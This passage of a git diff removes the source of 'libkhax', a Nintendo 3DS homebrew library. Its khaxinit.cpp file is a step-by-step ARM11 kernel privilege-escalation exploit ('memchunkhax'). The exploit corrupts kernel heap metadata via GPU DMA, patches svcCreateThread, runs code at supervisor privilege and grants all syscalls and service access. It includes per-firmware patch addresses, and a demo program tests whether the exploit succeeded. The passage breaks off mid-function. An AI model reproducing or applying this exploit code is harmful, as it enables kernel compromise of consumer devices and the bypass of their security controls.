-#--------------------------------------------------------------------------------- -ifeq ($(strip $(NO_SMDH)),) -.PHONY: all -all : $(OUTPUT).3dsx $(OUTPUT).smdh -endif -cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label -$(OUTPUT).3dsx : $(OUTPUT).elf -$(OUTPUT).elf : $(OFILES) - -#--------------------------------------------------------------------------------- -# you need a rule like this for each extension you use as binary data -#--------------------------------------------------------------------------------- -%.bin.o : %.bin -#--------------------------------------------------------------------------------- - @echo $(notdir $<) - @$(bin2o) - -# WARNING: This is not the right way to do this! TODO: Do it right! -#--------------------------------------------------------------------------------- -%.vsh.o : %.vsh -#--------------------------------------------------------------------------------- - @echo $(notdir $<) - @python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin - @bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@ - @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h - @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h - @echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h - @rm ../$(notdir $<).shbin - --include $(DEPENDS) - -#--------------------------------------------------------------------------------------- -endif -#--------------------------------------------------------------------------------------- diff --git a/ninjhax/source/libkhax/demo/ctrklib.sln b/ninjhax/source/libkhax/demo/ctrklib.sln deleted file mode 100644 index 0bc429a..0000000 --- a/ninjhax/source/libkhax/demo/ctrklib.sln +++ /dev/null @@ -1,22 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio 2013 -VisualStudioVersion = 12.0.31101.0 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ctrklib", "ctrklib.vcxproj", "{80EE495D-0A84-4089-A93E-2B9E2BC38F94}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Win32 = Debug|Win32 - Release|Win32 = Release|Win32 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.ActiveCfg = Debug|Win32 - {80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.Build.0 = Debug|Win32 - {80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.ActiveCfg = Release|Win32 - {80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/ninjhax/source/libkhax/demo/ctrklib.vcxproj b/ninjhax/source/libkhax/demo/ctrklib.vcxproj deleted file mode 100644 index ea4e090..0000000 --- a/ninjhax/source/libkhax/demo/ctrklib.vcxproj +++ /dev/null @@ -1,82 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - - {80EE495D-0A84-4089-A93E-2B9E2BC38F94} - ctrklib - - - - Application - true - v120 - MultiByte - - - Application - false - v120 - true - MultiByte - - - - - - - - - - - - - - - Level3 - Disabled - true - C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories) - - - true - - - - - Level3 - MaxSpeed - true - true - true - C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories) - - - true - true - true - - - - - - - - - - - - - - - - - diff --git a/ninjhax/source/libkhax/demo/ctrklib.vcxproj.filters b/ninjhax/source/libkhax/demo/ctrklib.vcxproj.filters deleted file mode 100644 index 7a4411e..0000000 --- a/ninjhax/source/libkhax/demo/ctrklib.vcxproj.filters +++ /dev/null @@ -1,36 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;hm;inl;inc;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - Source Files - - - Source Files - - - - - - - - Header Files - - - Header Files - - - diff --git a/ninjhax/source/libkhax/demo/main.c b/ninjhax/source/libkhax/demo/main.c deleted file mode 100644 index 46c787a..0000000 --- a/ninjhax/source/libkhax/demo/main.c +++ /dev/null @@ -1,139 +0,0 @@ -#ifndef LIBKHAX_AS_LIB - -#include <3ds.h> -#include <3ds/services/am.h> -#include -#include -#include -#include -#include "../khax.h" - -#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0])) - -s32 g_backdoorResult = -1; - -s32 dump_chunk_wrapper() -{ - __asm__ volatile("cpsid aif"); - g_backdoorResult = 0x6666abcd; - return 0; -} - -// Test access to "am" service, which we shouldn't have access to, unless khax succeeds. -Result test_am_access_inner(char *productCode) -{ - // Title IDs of "mset" in the six regions - static const u64 s_msetTitleIDs[] = - { - 0x0004001000020000, 0x0004001000021000, 0x0004001000022000, - 0x0004001000026000, 0x0004001000027000, 0x0004001000028000 - }; - Result result; - char productCodeTemp[16 + 1]; - unsigned x; - - // Initialize "am" - result = amInit(); - if (result != 0) - { - return result; - } - - // Check for the existence of the title IDs. - for (x = 0; x < KHAX_lengthof(s_msetTitleIDs); ++x) - { - result = AM_GetTitleProductCode(0, s_msetTitleIDs[x], productCodeTemp); - if (result == 0) - { - memcpy(productCode, productCodeTemp, sizeof(productCodeTemp)); - amExit(); - return 0; - } - } - - amExit(); - return -1; -} - -// Self-contained test. -void test_am_access_outer(int testNumber) -{ - char productCode[16 + 1]; - Result result = test_am_access_inner(productCode); - if (result != 0) - { - productCode[0] = '\0'; - } - printf("amtest%d:%08lx %s\n", testNumber, result, productCode); -} - - -int main() -{ - // Initialize services -/* srvInit(); // mandatory - aptInit(); // mandatory - hidInit(NULL); // input (buttons, screen)*/ - gfxInitDefault(); // graphics -/* fsInit(); - sdmcInit(); - hbInit(); - qtmInit();*/ - - consoleInit(GFX_BOTTOM, NULL); - - consoleClear(); - - test_am_access_outer(1); // test before libkhax - - Result result = khaxInit(); - printf("khaxInit returned %08lx\n", result); - - printf("backdoor returned %08lx\n", (svcBackdoor(dump_chunk_wrapper), g_backdoorResult)); - - test_am_access_outer(2); // test after libkhax - - printf("khax demo main finished\n"); - printf("Press X to exit\n"); - - khaxExit(); - - while (aptMainLoop()) - { - // Wait next screen refresh - gspWaitForVBlank(); - - // Read which buttons are currently pressed - hidScanInput(); - u32 kDown = hidKeysDown(); - (void) kDown; - u32 kHeld = hidKeysHeld(); - (void) kHeld; - - // If START is pressed, break loop and quit - if (kDown & KEY_X){ - break; - } - - //consoleClear(); - - // Flush and swap framebuffers - gfxFlushBuffers(); - gfxSwapBuffers(); - } - - // Exit services -/* qtmExit(); - hbExit(); - sdmcExit(); - fsExit();*/ - gfxExit(); -/* hidExit(); - aptExit(); - srvExit();*/ - - // Return to hbmenu - return 0; -} - -#endif // LIBKHAX_AS_LIB diff --git a/ninjhax/source/libkhax/khax.h b/ninjhax/source/libkhax/khax.h deleted file mode 100644 index 4e8e1a0..0000000 --- a/ninjhax/source/libkhax/khax.h +++ /dev/null @@ -1,16 +0,0 @@ -#pragma once - -#include <3ds.h> - -#ifdef __cplusplus -extern "C" { -#endif - -// Initialize and do the initial pwning of the ARM11 kernel. -Result khaxInit(); -// Shut down libkhax -Result khaxExit(); - -#ifdef __cplusplus -} -#endif diff --git a/ninjhax/source/libkhax/khaxinit.cpp b/ninjhax/source/libkhax/khaxinit.cpp deleted file mode 100644 index 801c69f..0000000 --- a/ninjhax/source/libkhax/khaxinit.cpp +++ /dev/null @@ -1,1140 +0,0 @@ -#include <3ds.h> -#include -#include -#include -#include -#include -#include -#include - -#include "khax.h" -#include "khaxinternal.h" - -//------------------------------------------------------------------------------------------------ -namespace KHAX -{ - //------------------------------------------------------------------------------------------------ - // Kernel and hardware version information. - struct VersionData - { - // New 3DS? - bool m_new3DS; - // Kernel version number - u32 m_kernelVersion; - // Nominal version number lower bound (for informational purposes only) - u32 m_nominalVersion; - // Patch location in svcCreateThread - u32 m_threadPatchAddress; - // Original version of code at m_threadPatchAddress - static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5; - // System call unlock patch location - u32 m_syscallPatchAddress; - // Kernel virtual address mapping of FCRAM - u32 m_fcramVirtualAddress; - // Physical mapping of FCRAM on this machine - static constexpr const u32 m_fcramPhysicalAddress = 0x20000000; - // Physical size of FCRAM on this machine - u32 m_fcramSize; - // Address of KThread address in kernel (KThread **) - static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast(0xFFFF9000); - // Address of KProcess address in kernel (KProcess **) - static constexpr void **const m_currentKProcessPtr = reinterpret_cast(0xFFFF9004); - // Pseudo-handle of the current KProcess. - static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001; - // Returned pointers within a KProcess object. This abstracts out which particular - // version of the KProcess object is in use. - struct KProcessPointers - { - KSVCACL *m_svcAccessControl; - u32 *m_kernelFlags; - u32 *m_processID; - }; - // Creates a KProcessPointers for this kernel version and pointer to the object. - KProcessPointers(*m_makeKProcessPointers)(void *kprocess); - - // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual - // address using the version-specific information in this table entry. - void *ConvertLinearUserVAToKernelVA(void *address) const; - - // Retrieve a VersionData for this kernel, or null if not recognized. - static const VersionData *GetForCurrentSystem(); - - private: - // Implementation behind m_makeKProcessPointers. - template - static KProcessPointers MakeKProcessPointers(void *kprocess); - - // Table of these. - static const VersionData s_versionTable[]; - }; - - //------------------------------------------------------------------------------------------------ - // ARM11 kernel hack class. - class MemChunkHax - { - public: - // Construct using the version information for the current system. - MemChunkHax(const VersionData *versionData) - : m_versionData(versionData), - m_nextStep(1), - m_corrupted(0), - m_overwriteMemory(nullptr), - m_overwriteAllocated(0), - m_extraLinear(nullptr) - { - s_instance = this; - } - - // Free memory and such. - ~MemChunkHax(); - - // Umm, don't copy this class. - MemChunkHax(const MemChunkHax &) = delete; - MemChunkHax &operator =(const MemChunkHax &) = delete; - - // Basic initialization. - Result Step1_Initialize(); - // Allocate linear memory for the memchunkhax operation. - Result Step2_AllocateMemory(); - // Free the second and fourth pages of the five. - Result Step3_SurroundFree(); - // Verify that the freed heap blocks' data matches our expected layout. - Result Step4_VerifyExpectedLayout(); - // Corrupt svcCreateThread in the ARM11 kernel and create the foothold. - Result Step5_CorruptCreateThread(); - // Execute svcCreateThread to execute code at SVC privilege. - Result Step6_ExecuteSVCCode(); - // Grant access to all services. - Result Step7_GrantServiceAccess(); - - private: - // SVC-mode entry point thunk (true entry point). - static Result Step6a_SVCEntryPointThunk(); - // SVC-mode entry point. - Result Step6b_SVCEntryPoint(); - // Undo the code patch that Step5_CorruptCreateThread did. - Result Step6c_UndoCreateThreadPatch(); - // Fix the heap corruption caused as a side effect of step 5. - Result Step6d_FixHeapCorruption(); - // Grant our process access to all system calls, including svcBackdoor. - Result Step6e_GrantSVCAccess(); - // Patch the process ID to 0. Runs as svcBackdoor. - static Result Step7a_PatchPID(); - // Restore the original PID. Runs as svcBackdoor. - static Result Step7b_UnpatchPID(); - - // Helper for dumping memory to SD card. - template - bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const; - - // Result returned by hacked svcCreateThread upon success. - static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE; - - // Version information. - const VersionData *const m_versionData; - // Next step number. - int m_nextStep; - // Whether we are in a corrupted state, meaning we cannot continue if an error occurs. - int m_corrupted; - - // Free block structure in the kernel, the one used in the memchunkhax exploit. - struct HeapFreeBlock - { - int m_count; - HeapFreeBlock *m_next; - HeapFreeBlock *m_prev; - int m_unknown1; - int m_unknown2; - }; - - // The layout of a memory page. - union Page - { - unsigned char m_bytes[4096]; - HeapFreeBlock m_freeBlock; - }; - - // The linear memory allocated for the memchunkhax overwrite. - struct OverwriteMemory - { - union - { - unsigned char m_bytes[6 * 4096]; - Page m_pages[6]; - }; - }; - OverwriteMemory *m_overwriteMemory; - unsigned m_overwriteAllocated; - - // Additional linear memory buffer for temporary purposes. - union ExtraLinearMemory - { - ALIGN(64) unsigned char m_bytes[64]; - // When interpreting as a HeapFreeBlock. - HeapFreeBlock m_freeBlock; - }; - // Must be a multiple of 16 for use with gspwn. - static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes"); - ExtraLinearMemory *m_extraLinear; - - // Copy of the old ACL - KSVCACL m_oldACL; - - // Original process ID. - u32 m_originalPID; - - // Buffers for dumped data when debugging. - #ifdef KHAX_DEBUG_DUMP_DATA - unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)]; - unsigned char m_savedKThread[sizeof(KThread)]; - unsigned char m_savedThreadSVC[0x100]; - #endif - - // Pointer to our instance. - static MemChunkHax *volatile s_instance; - }; - - //------------------------------------------------------------------------------------------------ - // Make an error code - inline Result MakeError(Result level, Result summary, Result module, Result error); - enum : Result { KHAX_MODULE = 254 }; - // Check whether this system is a New 3DS. - Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0); - // gspwn, meant for reading from or writing to freed buffers. - Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true); - - static Result userFlushDataCache(const void *p, std::size_t n); - static Result userInvalidateDataCache(const void *p, std::size_t n); - static void userFlushPrefetch(); - static void userDsb(); - static void userDmb(); - static void kernelCleanDataCacheLineWithMva(const void *p); - static void kernelInvalidateInstructionCacheLineWithMva(const void *p); - - // Given a pointer to a structure that is a member of another structure, - // return a pointer to the outer structure. Inspired by Windows macro. - template - Outer *ContainingRecord(Inner *member, Inner Outer::*field); -} - - -//------------------------------------------------------------------------------------------------ -// -// Class VersionData -// - -//------------------------------------------------------------------------------------------------ -// Creates a KProcessPointers for this kernel version and pointer to the object. -template -KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess) -{ - KProcessType *kproc = static_cast(kprocess); - - KProcessPointers result; - result.m_svcAccessControl = &kproc->m_svcAccessControl; - result.m_processID = &kproc->m_processID; - result.m_kernelFlags = &kproc->m_kernelFlags; - return result; -} - -//------------------------------------------------------------------------------------------------ -// System version table -const KHAX::VersionData KHAX::VersionData::s_versionTable[] = -{ -#define KPROC_FUNC(ver) MakeKProcessPointers - - // Old 3DS, old address layout - { false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - { false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, - // Old 3DS, new address layout - { false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) }, - { false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) }, - // New 3DS - { true, SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, // untested - { true, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, - -#undef KPROC_FUNC -}; - -//------------------------------------------------------------------------------------------------ -// Convert a user-mode virtual address in the linear heap into a kernel-mode virtual -// address using the version-specific information in this table entry. -void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const -{ - static_assert((std::numeric_limits::max)() == (std::numeric_limits::max)(), - "you're sure that this is a 3DS?"); - - // Convert the address to a physical address, since that's how we know the mapping. - u32 physical = osConvertVirtToPhys(address); - if (physical == 0) - { - return nullptr; - } - - // Verify that the address is within FCRAM. - if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize)) - { - return nullptr; - } - - // Now we can convert. - return reinterpret_cast(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress); -} - -//------------------------------------------------------------------------------------------------ -// Retrieve a VersionData for this kernel, or null if not recognized. -const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem() -{ - // Get kernel version for comparison. - u32 kernelVersion = osGetKernelVersion(); - - // Determine whether this is a New 3DS. - bool isNew3DS; - if (IsNew3DS(&isNew3DS, kernelVersion) != 0) - { - return nullptr; - } - - // Search our list for a match. - for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry) - { - // New 3DS flag must match. - if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS)) - { - continue; - } - // Kernel version must match. - if (entry->m_kernelVersion != kernelVersion) - { - continue; - } - - return entry; - } - - return nullptr; -} - - -//------------------------------------------------------------------------------------------------ -// -// Class MemChunkHax -// - -//------------------------------------------------------------------------------------------------ -KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr; - -//------------------------------------------------------------------------------------------------ -// Basic initialization. -Result KHAX::MemChunkHax::Step1_Initialize() -{ - if (m_nextStep != 1) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - // Nothing to do in current implementation. - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Allocate linear memory for the memchunkhax operation. -Result KHAX::MemChunkHax::Step2_AllocateMemory() -{ - if (m_nextStep != 2) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - // Allocate the linear memory for the overwrite process. - u32 address = 0xFFFFFFFF; - Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR, - static_cast(MEMPERM_READ | MEMPERM_WRITE)); - - KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address); - - if (result != 0) - { - return result; - } - - m_overwriteMemory = reinterpret_cast(address); - m_overwriteAllocated = (1u << 6) - 1; // all 6 pages allocated now - - // Why didn't we get a page-aligned address?! - if (address & 0xFFF) - { - // Since we already assigned m_overwriteMemory, it'll get freed by our destructor. - KHAX_printf("Step2:misaligned memory\n"); - return MakeError(26, 7, KHAX_MODULE, 1009); - } - - // Allocate extra memory that we'll need. - m_extraLinear = static_cast(linearMemAlign(sizeof(*m_extraLinear), - alignof(*m_extraLinear))); - if (!m_extraLinear) - { - KHAX_printf("Step2:failed extra alloc\n"); - return MakeError(26, 3, KHAX_MODULE, 1011); - } - KHAX_printf("Step2:extra=%p\n", m_extraLinear); - - // OK, we're good here. - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Free the second and fourth pages of the five. -Result KHAX::MemChunkHax::Step3_SurroundFree() -{ - if (m_nextStep != 3) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - // We do this because the exploit involves triggering a heap coalesce. We surround a heap - // block (page) with two freed pages, then free the middle page. By controlling both outside - // pages, we know their addresses, and can fix up the corrupted heap afterward. - // - // Here's what the heap will look like after step 3: - // - // ___XX-X-X___ - // - // _ = unknown (could be allocated and owned by other code) - // X = allocated - // - = allocated then freed by us - // - // In step 4, we will free the second page: - // - // ___X--X-X___ - // - // Heap coalescing will trigger due to two adjacent free blocks existing. The fifth page's - // "previous" pointer will be set to point to the second page rather than the third. We will - // use gspwn to make that overwrite kernel code instead. - // - // We have 6 pages to ensure that we have surrounding allocated pages, giving us a little - // sandbox to play in. In particular, we can use this design to determine the address of the - // next block--by controlling the location of the next block. - u32 dummy; - - // Free the third page. - if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[2]), 0, - sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast(0))) - { - KHAX_printf("Step3:svcCM1 failed:%08lx\n", result); - return result; - } - m_overwriteAllocated &= ~(1u << 2); - - // Free the fifth page. - if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[4]), 0, - sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast(0))) - { - KHAX_printf("Step3:svcCM2 failed:%08lx\n", result); - return result; - } - m_overwriteAllocated &= ~(1u << 4); - - // Attempt to write to remaining pages. - //KHAX_printf("Step2:probing page [0]\n"); - *static_cast(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0; - //KHAX_printf("Step2:probing page [1]\n"); - *static_cast(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0; - //KHAX_printf("Step2:probing page [3]\n"); - *static_cast(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0; - //KHAX_printf("Step2:probing page [5]\n"); - *static_cast(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0; - KHAX_printf("Step3:probing done\n"); - - // Done. - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Verify that the freed heap blocks' data matches our expected layout. -Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout() -{ - if (m_nextStep != 4) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - // Copy the first freed page (third page) out to read its heap metadata. - userInvalidateDataCache(m_extraLinear, sizeof(*m_extraLinear)); - userDmb(); - - if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2], - sizeof(*m_extraLinear))) - { - KHAX_printf("Step4:gspwn failed:%08lx\n", result); - return result; - } - - // Debug information about the memory block - KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData-> - ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2])); - KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next, - m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count); - - // The next page from the third should equal the fifth page. - if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA( - &m_overwriteMemory->m_pages[4])) - { - KHAX_printf("Step4:[2]->next != [4]\n"); - KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next, - m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]), - &m_overwriteMemory->m_pages[4]); - return MakeError(26, 5, KHAX_MODULE, 1014); - } - - // Copy the second freed page (fifth page) out to read its heap metadata. - userInvalidateDataCache(m_extraLinear, sizeof(*m_extraLinear)); - userDmb(); - - if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4], - sizeof(*m_extraLinear))) - { - KHAX_printf("Step4:gspwn failed:%08lx\n", result); - return result; - } - - KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData-> - ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4])); - KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next, - m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count); - - // The previous page from the fifth should equal the third page. - if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA( - &m_overwriteMemory->m_pages[2])) - { - KHAX_printf("Step4:[4]->prev != [2]\n"); - KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev, - m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]), - &m_overwriteMemory->m_pages[2]); - return MakeError(26, 5, KHAX_MODULE, 1014); - } - - // Validation successful - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Corrupt svcCreateThread in the ARM11 kernel and create the foothold. -Result KHAX::MemChunkHax::Step5_CorruptCreateThread() -{ - if (m_nextStep != 5) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - userInvalidateDataCache(m_extraLinear, sizeof(*m_extraLinear)); - userDmb(); - - // Read the memory page we're going to gspwn. - if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock, - sizeof(*m_extraLinear))) - { - KHAX_printf("Step5:gspwn read failed:%08lx\n", result); - return result; - } - - // Adjust the "next" pointer to point to within the svcCreateThread system call so as to - // corrupt certain instructions. The result will be that calling svcCreateThread will result - // in executing our code. - // NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev. - // That is, the overwrite adds this offset back in. - m_extraLinear->m_freeBlock.m_next = reinterpret_cast( - m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev)); - - userFlushDataCache(&m_extraLinear->m_freeBlock.m_next, - sizeof(m_extraLinear->m_freeBlock.m_next)); - - // Do the GSPwn, the actual exploit we've been waiting for. - if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear, - sizeof(*m_extraLinear))) - { - KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result); - return result; - } - - // The heap is now corrupted in two ways (Step6 explains why two ways). - m_corrupted += 2; - - KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n"); - - // Corrupt svcCreateThread by freeing the second page. The kernel will coalesce the third - // page into the second page, and in the process zap an instruction pair in svcCreateThread. - u32 dummy; - if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[1]), - 0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast(0))) - { - KHAX_printf("Step5:free to pwn failed:%08lx\n", result); - return result; - } - m_overwriteAllocated &= ~(1u << 1); - - userFlushPrefetch(); - - // We have an additional layer of instability because of the kernel code overwrite. - ++m_corrupted; - - KHAX_printf("Step5:svcCreateThread now hacked\n"); - - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Execute svcCreateThread to execute code at SVC privilege. -Result KHAX::MemChunkHax::Step6_ExecuteSVCCode() -{ - if (m_nextStep != 6) - { - KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep); - return MakeError(28, 5, KHAX_MODULE, 1016); - } - - // Call svcCreateThread such that r0 is the desired exploit function. Note that the - // parameters to the usual system call thunk are rearranged relative to the actual system call - // - the thread priority parameter is actually the one that goes into r0. In addition, we - // want to pass other parameters that make for an illegal thread creation request, because the - // rest of the thread creation SVC occurs before the hacked code gets executed. We want the - // thread creation request to fail, then the hack to grant us control. Processor ID - // 0x7FFFFFFF seems to do the trick here. - Handle dummyHandle; - Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast( - Step6a_SVCEntryPointThunk), (std::numeric_limits::max)()); - - KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep); - - if (result != STEP6_SUCCESS_RESULT) - { - // If the result was 0, something actually went wrong. - if (result == 0) - { - result = MakeError(27, 11, KHAX_MODULE, 1023); - } - - return result; - } - -#ifdef KHAX_DEBUG - char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1]; - char *sp = oldACLString; - for (unsigned char b : m_oldACL) - { - *sp++ = "0123456789abcdef"[b >> 4]; - *sp++ = "0123456789abcdef"[b & 15]; - } - *sp = '\0'; - - KHAX_printf("oldACL:%s\n", oldACLString); -#endif - - ++m_nextStep; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// SVC-mode entry point thunk (true entry point). -#ifndef _MSC_VER -__attribute__((__naked__)) -#endif -Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk() -{ - __asm__ volatile("cpsid aif\n" - "add sp, sp, #8\n"); - - register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint(); - - __asm__ volatile("ldr pc, [sp], #4" : : "r"(result)); -} - -//------------------------------------------------------------------------------------------------ -// SVC-mode entry point. -#ifndef _MSC_VER -__attribute__((__noinline__)) -#endif -Result KHAX::MemChunkHax::Step6b_SVCEntryPoint() -{ - if (Result result = Step6c_UndoCreateThreadPatch()) - { - return result; - } - if (Result result = Step6d_FixHeapCorruption()) - 